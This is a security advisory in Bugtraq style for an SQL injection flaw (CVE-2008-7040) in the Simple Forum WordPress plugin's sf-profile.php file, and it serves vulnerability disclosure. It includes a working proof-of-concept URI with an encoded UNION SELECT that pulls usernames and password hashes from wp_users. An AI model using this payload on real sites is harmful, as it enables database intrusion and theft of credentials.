Yellow Swordfish Simple Forum 'sf-profile.php' SQL Injection Vulnerability

Bugtraq ID:	27854
Class:	Input Validation Error
CVE:	CVE-2008-7040
Remote:	Yes
Local:	No
Published:	Feb 18 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	S@BUN discovered this vulnerability.
Vulnerable:	Yellow Swordfish Simple Forum 1.9 Yellow Swordfish Simple Forum 1.7 Yellow Swordfish Simple Forum 1.11 Yellow Swordfish Simple Forum 1.10
Not Vulnerable:

Yellow Swordfish Simple Forum 'sf-profile.php' SQL Injection Vulnerability

Simple Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Yellow Swordfish Simple Forum 'sf-profile.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/wp-content/plugins/simple-forum/ahah/sf-profile.php?u=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C4%2Cconcat(0x7c,user_login,0x7c,user_pass,0x7c)%2C6%2C7%2C8%2C0x7c%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users

Yellow Swordfish Simple Forum 'sf-profile.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Yellow Swordfish Simple Forum 'sf-profile.php' SQL Injection Vulnerability

References:

• Simple Forum Homepage (Yellow Swordfish)
  
• WordPress SQL Injection(wp-content-simple-forum) ([email protected])